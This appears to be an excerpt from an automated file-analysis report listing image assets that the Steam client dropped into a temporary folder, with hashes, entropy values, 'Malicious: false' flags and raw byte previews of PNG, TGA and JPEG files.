Encrypted:	false
SSDEEP:	192:fdWOcNxf74iAAAAAAcXQwz4ddzQ5hIvmfDiIO6Xg2:FHsxsRxz4HQBOv2
MD5:	08CBCA4B8C72137776395B1401105EE4
SHA1:	0B002BF48B20C07F5275E46BB8E04FFDB3C787BD
SHA-256:	A1A7FAABE280C2EA778C70213C9B100A6717AC909187CD4B082A6033383F35EA
SHA-512:	994ADD20D8AC451276C64D127F0AAFC5D70EDC4C6D5E38073E3EA502A5B79138D2CBCC538DAA05FD1F25E85A342EC388848908581DF56BD2E7A448A2085FD31A
Malicious:	false
Reputation:	unknown
Preview:	............8.2. ..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'#.7M=..>!..@%..>#..>#..>#..>#..>#..>#..>#..=$..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=%..=&..=&..=&..=&..:$..2....... ......................................................:`C..V(..V)..T)..T)..T)..T)..T)..T)..T)..T*..T+..T+..T+..T+..T+..T+..T+..T+..T+..T

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\arrow_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1338
Entropy (8bit):	6.846084799702671
Encrypted:	false
SSDEEP:	24:sy1he91Wwjx82lY2T3ouVUswWyJ3Val6DGaKD/0UCfYEoUkEF20s00S9r3:swqQNn2xwJ3bFk/01fnoUBF20sFOb
MD5:	04AFE38F7FB7DD819299163F7FC5C68C
SHA1:	AE9A5C6227B785138FFAF0C49C7F06E8DB00E977
SHA-256:	6E8197356494B18BD60646383658C6C1B6422706E80E009DABA852A77478D06C
SHA-512:	D3B46E000CADF884B4ADE54CA30580AD12CBB538B6ED023385EF8DFB3D40AAE20253D23FD55D3EE3ABC6957DE2C518E7342CDBBC4142DCB9F1BC8935E06FFDBC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:93FD0F1C78FA11E5AFA082A1F3735E06" xmpMM:DocumentID="xmp.did:93FD0F1D78FA11E5AFA082A1F3735E06"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:93FD0F1A78FA11E5AFA082A1F3735E06" stRef:documentID="xmp.did:93FD0F1B78FA11E5AFA082A1F3735E06"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..[.....IDATx..=K.1...qP..... .....$..~...........K.QW?./..q.u....J{.......A.....I.....0...[O.q...@/0.d...jhW....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\arrow_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	6.8825198113847526
Encrypted:	false
SSDEEP:	24:sy1he91Wwjx82lY2T3ouVkF6M6yJ3VzFP1/GIkbHkRT3zPEyeXQrDjmwkxP2P8c:swqQNn2xqjBJ3Bv/7oMT3QB+/mZ21
MD5:	26F43DE5FE345604C80B1B957A5AB6C3
SHA1:	8C73F68EA0417D5F122596FFB2EE2C87E6A5A4B4
SHA-256:	D575CEDAB93F81F750A6C7C5AB9805E6D357AF9D6982E84CBA5BC23590F31AD4
SHA-512:	B400FC2E8536B1ED7AD66FAD17E79DA61CEAFE62ECDCDFC8F247D40D9C54D7C891F0DC13BF7F9EE087A1BB43321A49794C817EA4925CC34758CA09E89D85F77C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:8E303AFA78FA11E5B8A7BA0E5296F4A1" xmpMM:DocumentID="xmp.did:8E303AFB78FA11E5B8A7BA0E5296F4A1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8E303AF878FA11E5B8A7BA0E5296F4A1" stRef:documentID="xmp.did:8E303AF978FA11E5B8A7BA0E5296F4A1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.?!(....IDATx..;K.A...\|../ Z.h!._@..FR.....R.v6~.Q...'.......BT$*..Y..s0...\...g..&.......l..6'9.r.C.UP...Wf.,58.4...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\async_game.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2197
Entropy (8bit):	7.476381235265589
Encrypted:	false
SSDEEP:	48:QitvnLIH0J3hBiEm8VTikusAxurfRkuddr8C2V96:DI0fOHo9rX4o
MD5:	C37E3E29D5497DFD80F2AB7B0F8CFDD5
SHA1:	4045455C30B9FDFB77867F03ADEFDF03CBBBE90D
SHA-256:	18894F8008FCDAAFF43B124CABB9E312B0D9254409F759EE5C2F2DBCFE4D0A5E
SHA-512:	73E491FA299AFEF279D9038DCFF7FB00A67297C062F7A2E1A3A9E194F58B0210F18ABED7202DA857B625DA31D966B1C376E9BAE3DDE0D9A749D924475CE60F6E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:F8ED81336F30E311B63EC7AF62A1A1CF" xmpMM:DocumentID="xmp.did:5FB8B7CB307211E3B2648CAB9470DEC4" xmpMM:InstanceID="xmp.iid:5FB8B7CA307211E3B2648CAB9470DEC4" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FAED81336F30E311B63EC7AF62A1A1CF" stRef:documentID="xmp.did:F8ED81336F30E311B63EC7AF62A1A1CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u..9....IDATx..]l.U..;.m.R[......B.(.&....H56. ...bHH

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\background_alpha_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	174090
Entropy (8bit):	7.967375557024323
Encrypted:	false
SSDEEP:	3072:Ai0++thnTX8DbldQigSL7wx8nO+dlQ6KR3f0ZwvlO9QfAf+CTJqytbtGHN:ApaldQin7e8O+E10CvwTUytbsN
MD5:	5BD3D3DD7DB236A0303DBFAEB22C5A17
SHA1:	57C5A0F8E137DF7D9E3614B68B26033678F4CED3
SHA-256:	72AA29E06777C1980FFC1A45F5DAA5AF0A68A86275E86A699E35865869AE329A
SHA-512:	F1596B56AA731683719E46375BD61F248C977F7679DC1F32EAA9716761C51E991D437EAA6B54FED0EC2EE47424D70ADA9977375117BA0FA932C02B488E385E2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......8........C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\betabutton4.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 110 x 100 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	44044
Entropy (8bit):	1.757596352362301
Encrypted:	false
SSDEEP:	192:nGXDGP714oRJutSkQ9xBC7xq2QtPaZUPHBwQwekSua:sGP77RJbkQ9W7x1ZUZRya
MD5:	514E01473D917B4D6AC747198D73CEEA
SHA1:	F723FB939BB92EC7CD4698F57FCA7C058CD77B46
SHA-256:	B91134B35E0406689081A1ED0D44C96C0334465C2FE2A680FE04AFD1AFC16753
SHA-512:	1409C428C23823F334AD37C96C4D1D327FF342CEE835A5F2BC85C0D58F8C8B3FFA38B79FB648CDB9E36D541438F91863E97D2B526397E5EA1E1988D2A92C7F62
Malicious:	false
Reputation:	unknown
Preview:	............n.d. ....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................O...2...............................................0.......:......................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\bg_gradient_mask.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 1 x 1200 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	4844
Entropy (8bit):	3.0075634684277937
Encrypted:	false
SSDEEP:	48:dKIjaCC6888I+rXa4kFyEeZYR9KDR45hRYdKR4441qqMaaa6RYYYYYYGZG:dBjFqDEeRC+K9aaa6N
MD5:	AFF50C91900D14F4DC629D53F3C76552
SHA1:	C5B1D18EAE6F4D67A4A7E982E4E3F79EF0E0663E
SHA-256:	7443B54E26C1527733E3DFCE623DAFC4C0D0CC5402FEC3EFA2AFD4075BA33F5D
SHA-512:	10625A6097ED39A95ED051D2193315C92E7CC3DAED40BBD72B61C27C2BDD662BE041C21EB366F55BC8C415165D99D63188A2E884E50F63B03079B62E2B0917B0
Malicious:	false
Reputation:	unknown
Preview:	................ .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ....... ...!...!... ...!..."..."..."..."..."...#...#...#...$...$...$...$...$...%...%...%...%...%...&...'...'...'...'...(...(...(...(...(...).........).........+...+...+...+...+...,...,...-...-...-.......-.............../...0.../...0...0...0...0...1...1...2...2...2...2...3...3...3...4...4...4...4...4...5...5...6...6...7...6...7...7...8...8...8...8...8...9...9...:...:...:...:...:..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\bootstrapper.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	515467
Entropy (8bit):	7.902716911735902
Encrypted:	false
SSDEEP:	12288:Z2JA4Dwek4rRMVh4IVO1TDt9UFYO1Kt5XXJy++kiTGrdgP0/C:Z2/weLrRMVGI4kFF1cFk++RGRgcq
MD5:	F95C8CCCC686301EE5946A80A7DB4861
SHA1:	3A9456BE126E65D99F23C703B33456B29745C660
SHA-256:	BCDEFE49CBAD2A08DE1B7CCA73D381032D1CC7A342553BCFC14884E5AE97D6B9
SHA-512:	3E774FED60381491A4AF5756445527AB80B7EEE694B7D8FB2FA3F52AE50E4B499256F8E1540A81992846F0E260EEFA239549B3550909D84076D47AC6C87CFFAF
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......P.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:E39E00443047E311A3A1DB9578DE018A" xmpMM:DocumentID="xmp.did:BC6ADD5F4BEA11E38BE3D7EC489F8CC8" xmpMM:InstanceID="xmp.iid:BC6ADD5E4BEA11E38BE3D7EC489F8CC8" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:20083C29EA4BE3118F70851EE2CC4F65" stRef:documentID="xmp.did:E39E00443047E311A3A1DB9578DE018A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................Y......4s...................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\broadcast\broadcast_live_red.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1657
Entropy (8bit):	7.112868838429949
Encrypted:	false
SSDEEP:	24:wS1hpunQWwh82lYSKw64OyVoNT3ZyJ3VEe6qEGunXzo4Kk0lb57N4Ue3nooFwi+Y:wQitvnLr0y0J30f5nQCUe3nr+hUv
MD5:	9E0196926810256CDA5EEC5EEBCFCC04
SHA1:	5B0E8F96B06BEBE8895456BB7243E1DF1B0660F6
SHA-256:	093FF7851C1401A7074A045B2F10C6425D7BC34D8A624FEC7FB5D945900052F1
SHA-512:	A506D0E7CDF027C93AB04F293D05438E8DE7A27936E88D82C44559A2CBB106291F2642D7C9EE374A3243085AA08D8BA462A9FBD55521EDB2C95E3B89070A71D7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...........!7....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A2AB1794B945E41192B3D2265C5596A0" xmpMM:DocumentID="xmp.did:DFBBB6AC6B8D11E4B813835807599AC3" xmpMM:InstanceID="xmp.iid:DFBBB6AB6B8D11E4B813835807599AC3" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FA4B2D14BF63E411875FB6B84B5F8B0C" stRef:documentID="xmp.did:A2AB1794B945E41192B3D2265C5596A0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>+.......IDATx..o.@...l.N.JQ......0d..H. ...$X.T..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\broadcast\live_chat.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 6 x 6, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	6.264044454612982
Encrypted:	false
SSDEEP:	24://1hpunQWwjx82lY2T32HEVNJ7yJ3Vc9GGgY/nqhfP1:/NitNn2V0J3fu/qhV
MD5:	0B76014F435183D1CF88541BA6C31EDC
SHA1:	65F875D12B2C6B6A84F30B8554F987AA89E3A7E0
SHA-256:	D5066FE86B471494884F727CF6E5CE718D7653FAE188ED2F3F534B5EC6BBE50D
SHA-512:	4208723141D62EBAA4C56CE03E9928EE688516BB25F637F15FB727C5D3F16C39D81030075B6ABFDC8C339AF5CE3D18BF6DBB0D99BAF19A08DDBBAF4F64EB1A4D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................H....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:CA3C45776BAE11E49D24EF12786B93B9" xmpMM:DocumentID="xmp.did:CA3C45786BAE11E49D24EF12786B93B9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CA3C45756BAE11E49D24EF12786B93B9" stRef:documentID="xmp.did:CA3C45766BAE11E49D24EF12786B93B9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..f.....IDATx.b...?...*.....2.g.aba^`...q.y..././......(.............................X..............0.....3102.e`d...`

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\ReticuleLoading_00039.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3347
Entropy (8bit):	7.887385439255543
Encrypted:	false
SSDEEP:	96:qDmRl1hi+prjXSU3ok4bubYqJ1iHbTT5hl7gnY:qCqErjCe7YqJ16hynY
MD5:	0CCD9A67C1EC1A08FA9A19DD9F731046
SHA1:	5B14F89AF2EE6D632C95DF497125F72B57D26DEC
SHA-256:	381DE1F2944EE9C7A4D59DB3900D4E3CA34522DB5FB61254ADC6B3A3FCE918D9
SHA-512:	2D6E29D38363619E949FAC9443AEF897CE75263EC41F3CEE2EF1B346653048882C887DCAA27CBF60B422575184FBD9308B45D4F2502770A6EFC6B9B91AE4219B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...B......T......pHYs.........8".@...$zTXtCreator..x.sL.OJUpL+I-RpMKKM.)..Az....sf....IDATx....UW..?g./.R...!."`}...DcMS...k[..1..I..o.7..h....&h.m.h#...4...".J...00.f.^.X{..:.......;..s.^.^{.u.`.T...c.96.vn.r..l4..EQg../.%.......s..\|...e.Fd.f...[`..E.1Kq!....3.s....c.M.2e..`...].}........{....:uw..0G..y3j..eU.]..`n+..........d.kN..A...f..pT..H...t-....A..`...L....2`3p...X.....#...%..p...N.....fg.i..;z(.. X.f... x..sc 06...l...>....F..6p.x..+p..c.gIA...-Ui.D....~.....=...6`];.v@......`."`\#..j..........}D.T.1D.w.....K......E...'..5.M....`.0....$..`S....#.}.....S..n.>...4..>..o./.{.+...".a.kS0r@TI..`.`....I......a..MR.!.F..oe..0..k3...{._...`.t..h.U@T.0@...._C...c._.......D..n.9@.7....S.......s`.Q:...`4......"..$<.\|....."....N`....FM..Q.J...}.}.. .. .0p........I%.......".i..q .Q`.b..A.....G.@o6........F......uh0..x.q...?...L.%..c.R@e..z.U.m..3 ....3.hp".0.....we.....~D...1...g./#.Gi#"..zV.`.@K..y....H...x...-.2.....$BT..a

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_back.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3404
Entropy (8bit):	7.888067367054375
Encrypted:	false
SSDEEP:	96:4SDZ/I09Da01l+gmkyTt6Hk8nTshzt5r5:4SDS0tKg9E05Tshzr5
MD5:	C413ED297BBF93048D2FAFF0B3DE8318
SHA1:	4AD6CC55F1D65BAB6F7ED6AE1D6329D3B18993D7
SHA-256:	ACB5E7AC67A3E455035EB5F7FDF946E8409667055767F9A69F818C3A6858F424
SHA-512:	84E97A67790B2B1DFC69AA23879DD24F9ECF3E57609BECD3359269F317A5D30BFD23FD18CF7E4D1471F2CA0E026313737F9CC3E7DC7B2C7E9C89A0263B4F33A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_back_mouse.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3304
Entropy (8bit):	7.886453000592339
Encrypted:	false
SSDEEP:	48:4/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODpUcXq:4SDZ/I09Da01l+gmkyTt6Hk8nTlXq
MD5:	6898F2312F23593A4AE8D0AEE28F0C48
SHA1:	7B178536E8C65784E65CF80A70081A6FA1A24521
SHA-256:	8F5D14F3F56EDB76077F919202C8FEA9D1CE98A2608A4C6710F7CC67C3AACFC9
SHA-512:	19DC439DD3FB4C0014D02B900B00F975BEB22A8E207BF0497FD93D29D0FA441E93ABD8CD90ECA4D6B4B3FFB69F21E48AA764D7047DC5FCE49FC160035BA570B4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_favorite.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3434
Entropy (8bit):	7.878996301142474
Encrypted:	false
SSDEEP:	96:4SDZ/I09Da01l+gmkyTt6Hk8nTUdxrYtDPqtOe:4SDS0tKg9E05TU7u2d
MD5:	5A5BAAC937B036C787E2F10A6CA8857A
SHA1:	CE629A8779CF30818232C1B7091B4F0A20D719D3
SHA-256:	D72AA84A17B9F9883A50E188C7CA921F7305D90404F3D8C025BFE7835F37F8E1
SHA-512:	DBE9A948F96A884C5016B993E541AF8F9BC8CF630AECC1AA3415A4F0F6014148005A71D7E31BD1CD5636C062DDD0F3D286D1E9ADDCEC4CCF2A99CE4089417EC2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...(.....N.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\browser_favorite_mouse.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3351
Entropy (8bit):	7.884165868180736
Encrypted:	false
SSDEEP:	48:4/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODr5FMVp9em:4SDZ/I09Da01l+gmkyTt6Hk8nTkn9vic
MD5:	6BB5CD90D925345850F6EC282A2476E6
SHA1:	3787E4AB9AFAEAB9FD5EDEBFA9DEEB76677A8F71
SHA-256:	7BC6345E6724015949EADD6DAB4795B48EB1814860CECD922EDC231B22142C50
SHA-512:	2CA248710372A76CCA8B801BF6735A3CB2402CA1D3487C1D9B08B0923ADEBBA95AB756F02BC3C58A733458169A852422012EDB192DD6771C8F4A57D1601FBFC0
Malicious:	false
Reputation:	unknown
